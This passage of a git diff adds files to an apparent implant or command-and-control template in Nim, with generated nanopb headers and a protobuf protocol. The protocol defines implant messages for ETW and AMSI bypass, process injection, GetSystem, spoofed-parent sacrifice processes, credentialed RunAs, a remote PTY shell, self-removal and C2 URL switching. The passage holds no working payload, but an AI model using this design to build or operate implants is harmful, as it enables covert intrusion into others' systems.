malefic_PtyRequest_DEFAULT NULL +#define malefic_PtyRequest_params_MSGTYPE malefic_PtyRequest_ParamsEntry + +#define malefic_PtyRequest_ParamsEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyRequest_ParamsEntry_CALLBACK pb_default_field_callback +#define malefic_PtyRequest_ParamsEntry_DEFAULT NULL + +#define malefic_PtyResponse_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, session_id, 1) \ +X(a, STATIC, SINGULAR, BYTES, output_data, 2) \ +X(a, STATIC, SINGULAR, STRING, output_text, 3) \ +X(a, STATIC, SINGULAR, STRING, error, 4) \ +X(a, STATIC, SINGULAR, BOOL, session_active, 5) \ +X(a, STATIC, REPEATED, STRING, active_sessions, 6) \ +X(a, CALLBACK, REPEATED, MESSAGE, metadata, 7) +#define malefic_PtyResponse_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_DEFAULT NULL +#define malefic_PtyResponse_metadata_MSGTYPE malefic_PtyResponse_MetadataEntry + +#define malefic_PtyResponse_MetadataEntry_FIELDLIST(X, a) \ +X(a, CALLBACK, SINGULAR, STRING, key, 1) \ +X(a, CALLBACK, SINGULAR, STRING, value, 2) +#define malefic_PtyResponse_MetadataEntry_CALLBACK pb_default_field_callback +#define malefic_PtyResponse_MetadataEntry_DEFAULT NULL + +#define malefic_CommonBody_FIELDLIST(X, a) \ +X(a, STATIC, SINGULAR, STRING, name, 1) \ +X(a, STATIC, REPEATED, UINT32, u32_array, 2) \ +X(a, STATIC, REPEATED, UINT64, u64_array, 4) \ +X(a, STATIC, REPEATED, BOOL, bool_array, 6) \ +X(a, STATIC, REPEATED, STRING, string_array, 8) \ +X(a, STATIC, REPEATED, BYTES, bytes_array, 10) +#define malefic_CommonBody_CALLBACK NULL +#define malefic_CommonBody_DEFAULT NULL + +extern const pb_msgdesc_t malefic_Ping_msg; +extern const pb_msgdesc_t malefic_Register_msg; +extern const pb_msgdesc_t malefic_Secure_msg; +extern const pb_msgdesc_t malefic_KeyExchangeRequest_msg; +extern const pb_msgdesc_t malefic_KeyExchangeResponse_msg; +extern const pb_msgdesc_t malefic_Init_msg; +extern const pb_msgdesc_t malefic_SysInfo_msg; +extern const pb_msgdesc_t malefic_Suicide_msg; +extern const pb_msgdesc_t malefic_Request_msg; +extern const pb_msgdesc_t malefic_Request_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_Response_msg; +extern const pb_msgdesc_t malefic_Response_KvEntry_msg; +extern const pb_msgdesc_t malefic_BypassRequest_msg; +extern const pb_msgdesc_t malefic_NetInterface_msg; +extern const pb_msgdesc_t malefic_SockTabEntry_msg; +extern const pb_msgdesc_t malefic_NetstatResponse_msg; +extern const pb_msgdesc_t malefic_Block_msg; +extern const pb_msgdesc_t malefic_ACK_msg; +extern const pb_msgdesc_t malefic_Os_msg; +extern const pb_msgdesc_t malefic_Process_msg; +extern const pb_msgdesc_t malefic_Timer_msg; +extern const pb_msgdesc_t malefic_FileInfo_msg; +extern const pb_msgdesc_t malefic_SacrificeProcess_msg; +extern const pb_msgdesc_t malefic_LsResponse_msg; +extern const pb_msgdesc_t malefic_DriveInfo_msg; +extern const pb_msgdesc_t malefic_EnumDriversResponse_msg; +extern const pb_msgdesc_t malefic_PsResponse_msg; +extern const pb_msgdesc_t malefic_ExecRequest_msg; +extern const pb_msgdesc_t malefic_ExecResponse_msg; +extern const pb_msgdesc_t malefic_BinaryResponse_msg; +extern const pb_msgdesc_t malefic_Modules_msg; +extern const pb_msgdesc_t malefic_Addons_msg; +extern const pb_msgdesc_t malefic_Addon_msg; +extern const pb_msgdesc_t malefic_LoadModule_msg; +extern const pb_msgdesc_t malefic_LoadAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteAddon_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_msg; +extern const pb_msgdesc_t malefic_ExecuteBinary_ParamEntry_msg; +extern const pb_msgdesc_t malefic_ExecuteCommand_msg; +extern const pb_msgdesc_t malefic_UploadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadRequest_msg; +extern const pb_msgdesc_t malefic_DownloadResponse_msg; +extern const pb_msgdesc_t malefic_CurlRequest_msg; +extern const pb_msgdesc_t malefic_CurlRequest_HeaderEntry_msg; +extern const pb_msgdesc_t malefic_ChownRequest_msg; +extern const pb_msgdesc_t malefic_IfconfigResponse_msg; +extern const pb_msgdesc_t malefic_RegistryRequest_msg; +extern const pb_msgdesc_t malefic_Registry_msg; +extern const pb_msgdesc_t malefic_RegistryWriteRequest_msg; +extern const pb_msgdesc_t malefic_TaskScheduleRequest_msg; +extern const pb_msgdesc_t malefic_TaskSchedule_msg; +extern const pb_msgdesc_t malefic_TaskSchedulesResponse_msg; +extern const pb_msgdesc_t malefic_ServiceRequest_msg; +extern const pb_msgdesc_t malefic_ServiceConfig_msg; +extern const pb_msgdesc_t malefic_ServiceStatus_msg; +extern const pb_msgdesc_t malefic_Service_msg; +extern const pb_msgdesc_t malefic_ServicesResponse_msg; +extern const pb_msgdesc_t malefic_WmiQueryRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_msg; +extern const pb_msgdesc_t malefic_WmiMethodRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_RunAsRequest_msg; +extern const pb_msgdesc_t malefic_GetSystem_msg; +extern const pb_msgdesc_t malefic_Inject_msg; +extern const pb_msgdesc_t malefic_Pipe_msg; +extern const pb_msgdesc_t malefic_PipeRequest_msg; +extern const pb_msgdesc_t malefic_Switch_msg; +extern const pb_msgdesc_t malefic_TaskCtrl_msg; +extern const pb_msgdesc_t malefic_TaskInfo_msg; +extern const pb_msgdesc_t malefic_TaskListResponse_msg; +extern const pb_msgdesc_t malefic_FFmpegRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_msg; +extern const pb_msgdesc_t malefic_PtyRequest_ParamsEntry_msg; +extern const pb_msgdesc_t malefic_PtyResponse_msg; +extern const pb_msgdesc_t malefic_PtyResponse_MetadataEntry_msg; +extern const pb_msgdesc_t malefic_CommonBody_msg; + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define malefic_Ping_fields &malefic_Ping_msg +#define malefic_Register_fields &malefic_Register_msg +#define malefic_Secure_fields &malefic_Secure_msg +#define malefic_KeyExchangeRequest_fields &malefic_KeyExchangeRequest_msg +#define malefic_KeyExchangeResponse_fields &malefic_KeyExchangeResponse_msg +#define malefic_Init_fields &malefic_Init_msg +#define malefic_SysInfo_fields &malefic_SysInfo_msg +#define malefic_Suicide_fields &malefic_Suicide_msg +#define malefic_Request_fields &malefic_Request_msg +#define malefic_Request_ParamsEntry_fields &malefic_Request_ParamsEntry_msg +#define malefic_Response_fields &malefic_Response_msg +#define malefic_Response_KvEntry_fields &malefic_Response_KvEntry_msg +#define malefic_BypassRequest_fields &malefic_BypassRequest_msg +#define malefic_NetInterface_fields &malefic_NetInterface_msg +#define malefic_SockTabEntry_fields &malefic_SockTabEntry_msg +#define malefic_NetstatResponse_fields &malefic_NetstatResponse_msg +#define malefic_Block_fields &malefic_Block_msg +#define malefic_ACK_fields &malefic_ACK_msg +#define malefic_Os_fields &malefic_Os_msg +#define malefic_Process_fields &malefic_Process_msg +#define malefic_Timer_fields &malefic_Timer_msg +#define malefic_FileInfo_fields &malefic_FileInfo_msg +#define malefic_SacrificeProcess_fields &malefic_SacrificeProcess_msg +#define malefic_LsResponse_fields &malefic_LsResponse_msg +#define malefic_DriveInfo_fields &malefic_DriveInfo_msg +#define malefic_EnumDriversResponse_fields &malefic_EnumDriversResponse_msg +#define malefic_PsResponse_fields &malefic_PsResponse_msg +#define malefic_ExecRequest_fields &malefic_ExecRequest_msg +#define malefic_ExecResponse_fields &malefic_ExecResponse_msg +#define malefic_BinaryResponse_fields &malefic_BinaryResponse_msg +#define malefic_Modules_fields &malefic_Modules_msg +#define malefic_Addons_fields &malefic_Addons_msg +#define malefic_Addon_fields &malefic_Addon_msg +#define malefic_LoadModule_fields &malefic_LoadModule_msg +#define malefic_LoadAddon_fields &malefic_LoadAddon_msg +#define malefic_ExecuteAddon_fields &malefic_ExecuteAddon_msg +#define malefic_ExecuteBinary_fields &malefic_ExecuteBinary_msg +#define malefic_ExecuteBinary_ParamEntry_fields &malefic_ExecuteBinary_ParamEntry_msg +#define malefic_ExecuteCommand_fields &malefic_ExecuteCommand_msg +#define malefic_UploadRequest_fields &malefic_UploadRequest_msg +#define malefic_DownloadRequest_fields &malefic_DownloadRequest_msg +#define malefic_DownloadResponse_fields &malefic_DownloadResponse_msg +#define malefic_CurlRequest_fields &malefic_CurlRequest_msg +#define malefic_CurlRequest_HeaderEntry_fields &malefic_CurlRequest_HeaderEntry_msg +#define malefic_ChownRequest_fields &malefic_ChownRequest_msg +#define malefic_IfconfigResponse_fields &malefic_IfconfigResponse_msg +#define malefic_RegistryRequest_fields &malefic_RegistryRequest_msg +#define malefic_Registry_fields &malefic_Registry_msg +#define malefic_RegistryWriteRequest_fields &malefic_RegistryWriteRequest_msg +#define malefic_TaskScheduleRequest_fields &malefic_TaskScheduleRequest_msg +#define malefic_TaskSchedule_fields &malefic_TaskSchedule_msg +#define malefic_TaskSchedulesResponse_fields &malefic_TaskSchedulesResponse_msg +#define malefic_ServiceRequest_fields &malefic_ServiceRequest_msg +#define malefic_ServiceConfig_fields &malefic_ServiceConfig_msg +#define malefic_ServiceStatus_fields &malefic_ServiceStatus_msg +#define malefic_Service_fields &malefic_Service_msg +#define malefic_ServicesResponse_fields &malefic_ServicesResponse_msg +#define malefic_WmiQueryRequest_fields &malefic_WmiQueryRequest_msg +#define malefic_WmiMethodRequest_fields &malefic_WmiMethodRequest_msg +#define malefic_WmiMethodRequest_ParamsEntry_fields &malefic_WmiMethodRequest_ParamsEntry_msg +#define malefic_RunAsRequest_fields &malefic_RunAsRequest_msg +#define malefic_GetSystem_fields &malefic_GetSystem_msg +#define malefic_Inject_fields &malefic_Inject_msg +#define malefic_Pipe_fields &malefic_Pipe_msg +#define malefic_PipeRequest_fields &malefic_PipeRequest_msg +#define malefic_Switch_fields &malefic_Switch_msg +#define malefic_TaskCtrl_fields &malefic_TaskCtrl_msg +#define malefic_TaskInfo_fields &malefic_TaskInfo_msg +#define malefic_TaskListResponse_fields &malefic_TaskListResponse_msg +#define malefic_FFmpegRequest_fields &malefic_FFmpegRequest_msg +#define malefic_PtyRequest_fields &malefic_PtyRequest_msg +#define malefic_PtyRequest_ParamsEntry_fields &malefic_PtyRequest_ParamsEntry_msg +#define malefic_PtyResponse_fields &malefic_PtyResponse_msg +#define malefic_PtyResponse_MetadataEntry_fields &malefic_PtyResponse_MetadataEntry_msg +#define malefic_CommonBody_fields &malefic_CommonBody_msg + +/* Maximum encoded size of messages (where known) */ +/* malefic_Request_size depends on runtime parameters */ +/* malefic_Request_ParamsEntry_size depends on runtime parameters */ +/* malefic_Response_size depends on runtime parameters */ +/* malefic_Response_KvEntry_size depends on runtime parameters */ +/* malefic_ExecuteAddon_size depends on runtime parameters */ +/* malefic_ExecuteBinary_size depends on runtime parameters */ +/* malefic_ExecuteBinary_ParamEntry_size depends on runtime parameters */ +/* malefic_CurlRequest_size depends on runtime parameters */ +/* malefic_CurlRequest_HeaderEntry_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_size depends on runtime parameters */ +/* malefic_WmiMethodRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyRequest_size depends on runtime parameters */ +/* malefic_PtyRequest_ParamsEntry_size depends on runtime parameters */ +/* malefic_PtyResponse_size depends on runtime parameters */ +/* malefic_PtyResponse_MetadataEntry_size depends on runtime parameters */ +#define MALEFIC_MODULE_PB_H_MAX_SIZE malefic_PsResponse_size +#define malefic_ACK_size 10 +#define malefic_Addon_size 325 +#define malefic_Addons_size 10496 +#define malefic_BinaryResponse_size 8467 +#define malefic_Block_size 4107 +#define malefic_BypassRequest_size 6 +#define malefic_ChownRequest_size 390 +#define malefic_CommonBody_size 74706 +#define malefic_DownloadRequest_size 535 +#define malefic_DownloadResponse_size 4251 +#define malefic_DriveInfo_size 185 +#define malefic_EnumDriversResponse_size 3008 +#define malefic_ExecRequest_size 8526 +#define malefic_ExecResponse_size 8217 +#define malefic_ExecuteCommand_size 531 +#define malefic_FFmpegRequest_size 519 +#define malefic_FileInfo_size 546 +#define malefic_GetSystem_size 4105 +#define malefic_IfconfigResponse_size 38944 +#define malefic_Init_size 4099 +#define malefic_Inject_size 4105 +#define malefic_KeyExchangeRequest_size 593 +#define malefic_KeyExchangeResponse_size 258 +#define malefic_LoadAddon_size 4424 +#define malefic_LoadModule_size 4357 +#define malefic_LsResponse_size 70532 +#define malefic_Modules_size 16512 +#define malefic_NetInterface_size 1214 +#define malefic_NetstatResponse_size 51200 +#define malefic_Os_size 1268 +#define malefic_Ping_size 11 +#define malefic_PipeRequest_size 4427 +#define malefic_Pipe_size 4359 +#define malefic_Process_size 886 +#define malefic_PsResponse_size 455168 +#define malefic_Register_size 30933 +#define malefic_RegistryRequest_size 649 +#define malefic_RegistryWriteRequest_size 4961 +#define malefic_Registry_size 581 +#define malefic_RunAsRequest_size 1040 +#define malefic_SacrificeProcess_size 270 +#define malefic_Secure_size 583 +#define malefic_ServiceConfig_size 916 +#define malefic_ServiceRequest_size 984 +#define malefic_ServiceStatus_size 30 +#define malefic_Service_size 951 +#define malefic_ServicesResponse_size 122112 +#define malefic_SockTabEntry_size 197 +#define malefic_Suicide_size 22 +#define malefic_Switch_size 4128 +#define malefic_SysInfo_size 2678 +#define malefic_TaskCtrl_size 71 +#define malefic_TaskInfo_size 29 +#define malefic_TaskListResponse_size 3968 +#define malefic_TaskScheduleRequest_size 1303 +#define malefic_TaskSchedule_size 1235 +#define malefic_TaskSchedulesResponse_size 79232 +#define malefic_Timer_size 139 +#define malefic_UploadRequest_size 4625 +#define malefic_WmiQueryRequest_size 4386 + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto new file mode 100644 index 0000000..6e73d4f --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/malefic/module.proto @@ -0,0 +1,483 @@ +syntax = "proto3"; +package malefic; + +option go_package = "./malefic"; + + +message Ping{ + int32 nonce = 1; +} + +message Register { + string name = 1; + string proxy = 2; + repeated string module = 3; + repeated Addon addons = 4; + Timer timer = 5; + SysInfo sysinfo = 11; + Secure secure = 12; // Implant's public key, used by server to encrypt data +} + +message Secure{ + bool enable = 1; + string key = 2; // encryption key + string type = 3; // encryption type + string public_key = 4; // Implant's public key, used by server to encrypt data +} + + +// Age key exchange related messages +message KeyExchangeRequest { + string public_key = 1; // Temporary public key (Age X25519) + bytes signature = 2; // Signature of temporary public key + uint64 timestamp = 3; // Timestamp + string nonce = 4; // Nonce +} + +message KeyExchangeResponse { + string public_key = 1; // Server temporary public key +} + +message Init{ + bytes data = 1; +} + +message SysInfo { + string filepath = 1; + string workdir = 2; + bool is_privilege = 3; + Os os = 11; + Process process = 12; +} + +message Suicide { + int32 type = 1; + int64 timestamp = 2; +} + + +// common empty request +message Request { + string name = 1; + string input = 2; + repeated string args = 3; + map params = 4; + bytes bin = 5; +} + +message Response { + string output = 1; + string error = 2; + map kv = 3; + repeated string array =4; +} + + +message BypassRequest{ + bool ETW = 1; + bool AMSI = 2; + bool block_dll = 3; +} + +message NetInterface { + int32 index = 1; + string name = 2; + string mac = 3; + repeated string ip_addresses = 4; +} + +message SockTabEntry { + string local_addr = 1; + string remote_addr = 2; + string skState = 3; + // uint32 uid = 4; + string pid = 5; + string protocol = 6; +} + +message NetstatResponse { + repeated SockTabEntry socks = 1; +} + + +message Block{ + uint32 block_id = 1; + bytes content = 2; + bool end = 3; +} + +message ACK { + uint32 id = 1; + bool success = 2; + bool end = 3; +} + +message Os { + string name = 1; + string version = 2; // kernel version + string release = 3; // release version + string arch = 4; + string username = 5; + string hostname = 6; + string locale = 7; // timezone + repeated string clr_version = 8; +} + +message Process { + string name = 1; + uint32 pid = 2; + uint32 ppid = 3; + string owner = 4; + string arch = 5; + string path = 6; + string args = 7; + string uid = 8; +} + +message Timer { + string expression = 1; + double jitter = 2; +} + +message FileInfo { + string Name = 1; + bool IsDir = 2; + uint64 Size = 3; + int64 ModTime = 4; + uint32 Mode = 5; + string Link = 6; +} + +message SacrificeProcess { + bool hidden = 1; + bool block_dll = 2; + bool etw = 3; + uint32 ppid = 4; + string argue = 5; +} + +message LsResponse { + string Path = 1; + bool Exists = 2; + repeated FileInfo Files = 3; +} + +message DriveInfo { + string path = 1; // "C:\\" + string drive_type = 2; // "Fixed drive" + uint64 total_size = 3; // + uint64 free_size = 4; // + string file_system = 5; // "NTFS" +} + +message EnumDriversResponse { + repeated DriveInfo drives = 1; +} + +message PsResponse{ + repeated Process processes = 1; +} + +message ExecRequest { + string path = 1; + repeated string args = 2; + bool output = 3; + bool singleton = 4; + bool realtime = 5; + uint32 ppid = 10; +} + +message ExecResponse { + int32 status_code = 1; + bytes stdout = 2; + bytes stderr = 3; + uint32 pid = 4; + bool end = 5; +} + +message BinaryResponse { + bytes data = 1; // common return, bof BeaconOutput + bytes message = 2; // bof BeaconPrintf + string err = 4; + int32 status = 3; +} + +message Modules { + repeated string modules = 1; + map bundle_map = 2; +} + + +message Addons { + repeated Addon addons = 1; +} + +message Addon { + string name = 1; + string type = 2; + string depend = 3; +} + +message LoadModule{ + string bundle = 1; + bytes bin = 2; +} + +message LoadAddon{ + string name = 1; + string type = 2; + string depend = 3; + bytes bin = 4; +} + +message ExecuteAddon { + string addon = 1; + ExecuteBinary execute_binary = 2; +} + +message ExecuteBinary { + string name = 1; + bytes bin = 2; + map param = 3; + string type = 4; + string process_name = 5; + repeated string args = 6; + string entry_point = 7; + bytes data = 8; + bool output = 9; + uint32 arch = 10; + uint32 timeout = 11; + SacrificeProcess sacrifice = 12; + string path = 13; + string context = 14; + uint32 delay = 15; //millisecond +} + +message ExecuteCommand { + string command = 1; + SacrificeProcess sacrifice = 2; +} + +message UploadRequest { + string name = 1; + string target = 2; + uint32 priv = 3; + bytes data = 4; + bool hidden = 5; + bool override = 6; +} + +message DownloadRequest { + string path = 1; + string name = 2; + uint32 buffer_size = 3; + bool dir = 4; + int32 cur = 5; +} + +message DownloadResponse{ + string checksum = 1; + uint64 size = 2; + int32 cur = 3; + bytes content = 4; +} + +message CurlRequest{ + string url = 1; + int32 timeout = 2; + string method = 3; + bytes body = 4; + map header =5; + string hostname = 6; +} + +message ChownRequest{ + string path = 1; + string uid = 2; + string gid = 3; + bool recursive = 4; +} + +message IfconfigResponse { + repeated NetInterface net_interfaces = 1; +} + +// wrap for client +message RegistryRequest { + string type = 1; + Registry registry = 2; +} + +message Registry { + string hive = 1; + string path = 2; + string key = 3; +} + +message RegistryWriteRequest { + string hive = 1; + string path = 2; + string key = 3; + string string_value = 5; + bytes byte_value = 6; + uint32 dword_value = 7; + uint64 qword_value = 8; + uint32 regtype = 10; +} + +message TaskScheduleRequest { + string type = 1; + TaskSchedule taskschd = 2; +} + +message TaskSchedule { + string name = 1; + string path = 2; + string executable_path = 3; + uint32 trigger_type = 4; + string start_boundary = 5; + string description = 6; + bool enabled = 7; + string last_run_time = 8; + string next_run_time = 9; +} + + +message TaskSchedulesResponse { + repeated TaskSchedule schedules = 1; +} + +// wrap for client +message ServiceRequest { + string type = 1; + ServiceConfig service = 2; +} + +message ServiceConfig { + string name = 1; + string display_name = 2; + string executable_path = 3; + uint32 start_type = 4; + uint32 error_control = 5; + string account_name = 6; +} + +message ServiceStatus { + uint32 current_state = 1; + uint32 process_id = 2; + uint32 exit_code = 3; + uint32 checkpoint = 4; + uint32 wait_hint = 5; +} + +message Service { + ServiceConfig config = 1; + ServiceStatus status = 2; +} + +message ServicesResponse { + repeated Service services = 1; +} + +message WmiQueryRequest { + string namespace = 1; + repeated string args = 2; +} + +message WmiMethodRequest { + string namespace = 1; + string class_name = 2; + string method_name = 3; + map params = 4; +} + +message RunAsRequest { + string username = 1; // Username to execute as + string domain = 2; // User domain + string password = 3; // User password + string program = 4; // Program path + string args = 5; // Program arguments (optional) + bool use_profile = 6; + bool netonly = 7; // Use network credentials only (optional, default false) + bool use_env = 8; +} + +message GetSystem{ + bytes bin = 1; + uint32 pid = 2; +} + +message Inject{ + bytes bin = 1; + uint32 pid = 2; +} + +message Pipe { + string name = 1; + string target = 2; + bytes data = 4; +} + +message PipeRequest { + string type = 1; + Pipe pipe = 2; +} + +message Switch { + repeated string urls = 1; +} + +message TaskCtrl{ + uint32 task_id = 1; + string op = 2; +} + +message TaskInfo { + uint32 task_id = 1; + uint64 last = 2; + uint32 recv_count = 3; + uint32 send_count = 4; +} + +message TaskListResponse { + repeated TaskInfo tasks = 1; +} + +message FFmpegRequest { + string action = 1; + string device_name = 2; + string output_format = 3; + string output_path = 4; + string time = 5; +} + +// PTY +message PtyRequest { + string type = 1; // type: "start", "input", "stop" + string session_id = 2; // + string shell = 3; // shell type: "/bin/bash", "cmd.exe", "powershell.exe" + uint32 cols = 4; // + uint32 rows = 5; // + bytes input_data = 6; // + string input_text = 7; // + map params = 8; // +} + +message PtyResponse { + string session_id = 1; // Session ID + bytes output_data = 2; // Output data (binary) + string output_text = 3; // Output data (text) + string error = 4; // Error message + bool session_active = 5; // Whether session is still active + repeated string active_sessions = 6; + map metadata = 7; +} + +message CommonBody { + string name = 1; + repeated uint32 u32_array = 2; + repeated uint64 u64_array = 4; + repeated bool bool_array = 6; + repeated string string_array = 8; + repeated bytes bytes_array = 10; +} diff --git a/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h new file mode 100644 index 0000000..10249bb --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-nim/src/nim/nanopb/pb.h @@ -0,0 +1,922 @@ +/* Common parts of the nanopb library. Most of these are quite low-level + * stuff. For the high-level interface, see pb_encode.h and pb_decode.h. + */ + +#ifndef PB_H_INCLUDED +#define PB_H_INCLUDED + +/***************************************************************** + * Nanopb compilation time options. You can change these here by * + * uncommenting the lines, or on the compiler command line. * + *****************************************************************/ + +/* Enable support for dynamically allocated fields */ +/* #define PB_ENABLE_MALLOC 1 */ + +/* Define this if your CPU / compiler combination does not support + * unaligned memory access to packed structures. Note that packed + * structures are only used when requested in .proto options. */ +/* #define PB_NO_PACKED_STRUCTS 1 */ + +/* Increase the number of required fields that are tracked. + * A compiler warning will tell if you need this. */ +/* #define PB_MAX_REQUIRED_FIELDS 256 */ + +/* Add support for tag numbers > 65536 and fields larger than 65536 bytes. */ +/* #define PB_FIELD_32BIT 1 */ + +/* Disable support for error messages in order to save some code space. */ +/* #define PB_NO_ERRMSG 1 */ + +/* Disable support for custom streams (support only memory buffers). */ +/* #define PB_BUFFER_ONLY 1 */ + +/* Disable support for 64-bit datatypes, for compilers without int64_t + or to save some code space. */ +/* #define PB_WITHOUT_64BIT 1 */ + +/* Don't encode scalar arrays as packed. This is only to be used when + * the decoder on the receiving side cannot process packed scalar arrays. + * Such example is older protobuf.js. */ +/* #define PB_ENCODE_ARRAYS_UNPACKED 1 */ + +/* Enable conversion of doubles to floats for platforms that do not + * support 64-bit doubles. Most commonly AVR. */ +/* #define PB_CONVERT_DOUBLE_FLOAT 1 */ + +/* Check whether incoming strings are valid UTF-8 sequences. Slows down + * the string processing slightly and slightly increases code size. */ +/* #define PB_VALIDATE_UTF8 1 */ + +/* This can be defined if the platform is little-endian and has 8-bit bytes. + * Normally it is automatically detected based on __BYTE_ORDER__ macro. */ +/* #define PB_LITTLE_ENDIAN_8BIT 1 */ + +/* Configure static assert mechanism. Instead of changing these, set your + * compiler to C11 standard mode if possible. */ +/* #define PB_C99_STATIC_ASSERT 1 */ +/* #define PB_NO_STATIC_ASSERT 1 */ + +/****************************************************************** + * You usually don't need to change anything below this line. * + * Feel free to look around and use the defined macros, though. * + ******************************************************************/ + + +/* Version of the nanopb library. Just in case you want to check it in + * your own program. */ +#define NANOPB_VERSION "nanopb-0.4.9.1" + +/* Include all the system headers needed by nanopb. You will need the + * definitions of the following: + * - strlen, memcpy, memset functions + * - [u]int_least8_t, uint_fast8_t, [u]int_least16_t, [u]int32_t, [u]int64_t + * - size_t + * - bool + * + * If you don't have the standard header files, you can instead provide + * a custom header that defines or includes all this. In that case, + * define PB_SYSTEM_HEADER to the path of this file. + */ +#ifdef PB_SYSTEM_HEADER +#include PB_SYSTEM_HEADER +#else +#include +#include +#include +#include +#include + +#ifdef PB_ENABLE_MALLOC +#include +#endif +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* Macro for defining packed structures (compiler dependent). + * This just reduces memory requirements, but is not required. + */ +#if defined(PB_NO_PACKED_STRUCTS) + /* Disable struct packing */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#elif defined(__GNUC__) || defined(__clang__) + /* For GCC and clang */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed __attribute__((packed)) +#elif defined(__ICCARM__) || defined(__CC_ARM) + /* For IAR ARM and Keil MDK-ARM compilers */ +# define PB_PACKED_STRUCT_START _Pragma("pack(push, 1)") +# define PB_PACKED_STRUCT_END _Pragma("pack(pop)") +# define pb_packed +#elif defined(_MSC_VER) && (_MSC_VER >= 1500) + /* For Microsoft Visual C++ */ +# define PB_PACKED_STRUCT_START __pragma(pack(push, 1)) +# define PB_PACKED_STRUCT_END __pragma(pack(pop)) +# define pb_packed +#else + /* Unknown compiler */ +# define PB_PACKED_STRUCT_START +# define PB_PACKED_STRUCT_END +# define pb_packed +#endif + +/* Detect endianness */ +#ifndef PB_LITTLE_ENDIAN_8BIT +#if ((defined(__BYTE_ORDER) && __BYTE_ORDER == __LITTLE_ENDIAN) || \ + (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) || \ + defined(__LITTLE_ENDIAN__) || defined(__ARMEL__) || \ + defined(__THUMBEL__) || defined(__AARCH64EL__) || defined(_MIPSEL) || \ + defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM)) \ + && CHAR_BIT == 8 +#define PB_LITTLE_ENDIAN_8BIT 1 +#endif +#endif + +/* Handly macro for suppressing unreferenced-parameter compiler warnings. */ +#ifndef PB_UNUSED +#define PB_UNUSED(x) (void)(x) +#endif + +/* Harvard-architecture processors may need special attributes for storing + * field information in program memory. */ +#ifndef PB_PROGMEM +#ifdef __AVR__ +#include +#define PB_PROGMEM PROGMEM +#define PB_PROGMEM_READU32(x) pgm_read_dword(&x) +#else +#define PB_PROGMEM +#define PB_PROGMEM_READU32(x) (x) +#endif +#endif + +/* Compile-time assertion, used for checking compatible compilation options. + * If this does not work properly on your compiler, use + * #define PB_NO_STATIC_ASSERT to disable it. + * + * But before doing that, check carefully the error message / place where it + * comes from to see if the error has a real cause. Unfortunately the error + * message is not always very clear to read, but you can see the reason better + * in the place where the PB_STATIC_ASSERT macro was called. + */ +#ifndef PB_NO_STATIC_ASSERT +# ifndef PB_STATIC_ASSERT +# if defined(__ICCARM__) + /* IAR has static_assert keyword but no _Static_assert */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(_MSC_VER) && (!defined(__STDC_VERSION__) || __STDC_VERSION__ < 201112) + /* MSVC in C89 mode supports static_assert() keyword anyway */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# elif defined(PB_C99_STATIC_ASSERT) + /* Classic negative-size-array static assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) typedef char PB_STATIC_ASSERT_MSG(MSG, __LINE__, __COUNTER__)[(COND)?1:-1]; +# define PB_STATIC_ASSERT_MSG(MSG, LINE, COUNTER) PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) +# define PB_STATIC_ASSERT_MSG_(MSG, LINE, COUNTER) pb_static_assertion_##MSG##_##LINE##_##COUNTER +# elif defined(__cplusplus) + /* C++11 standard static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) static_assert(COND,#MSG); +# else + /* C11 standard _Static_assert mechanism */ +# define PB_STATIC_ASSERT(COND,MSG) _Static_assert(COND,#MSG); +# endif +# endif +#else + /* Static asserts disabled by PB_NO_STATIC_ASSERT */ +# define PB_STATIC_ASSERT(COND,MSG) +#endif + +/* Test that PB_STATIC_ASSERT works + * If you get errors here, you may need to do one of these: + * - Enable C11 standard support in your compiler + * - Define PB_C99_STATIC_ASSERT to enable C99 standard support + * - Define PB_NO_STATIC_ASSERT to disable static asserts altogether + */ +PB_STATIC_ASSERT(1, STATIC_ASSERT_IS_NOT_WORKING) + +/* Number of required fields to keep track of. */ +#ifndef PB_MAX_REQUIRED_FIELDS +#define PB_MAX_REQUIRED_FIELDS 64 +#endif + +#if PB_MAX_REQUIRED_FIELDS < 64 +#error You should not lower PB_MAX_REQUIRED_FIELDS from the default value (64). +#endif + +#ifdef PB_WITHOUT_64BIT +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Cannot use doubles without 64-bit types */ +#undef PB_CONVERT_DOUBLE_FLOAT +#endif +#endif + +/* Data type for storing encoded data and other byte streams. + * This typedef exists to support platforms where uint8_t does not exist. + * You can regard it as equivalent on uint8_t on other platforms. + */ +#if defined(PB_BYTE_T_OVERRIDE) +typedef PB_BYTE_T_OVERRIDE pb_byte_t; +#elif defined(UINT8_MAX) +typedef uint8_t pb_byte_t; +#else +typedef uint_least8_t pb_byte_t; +#endif + +/* List of possible 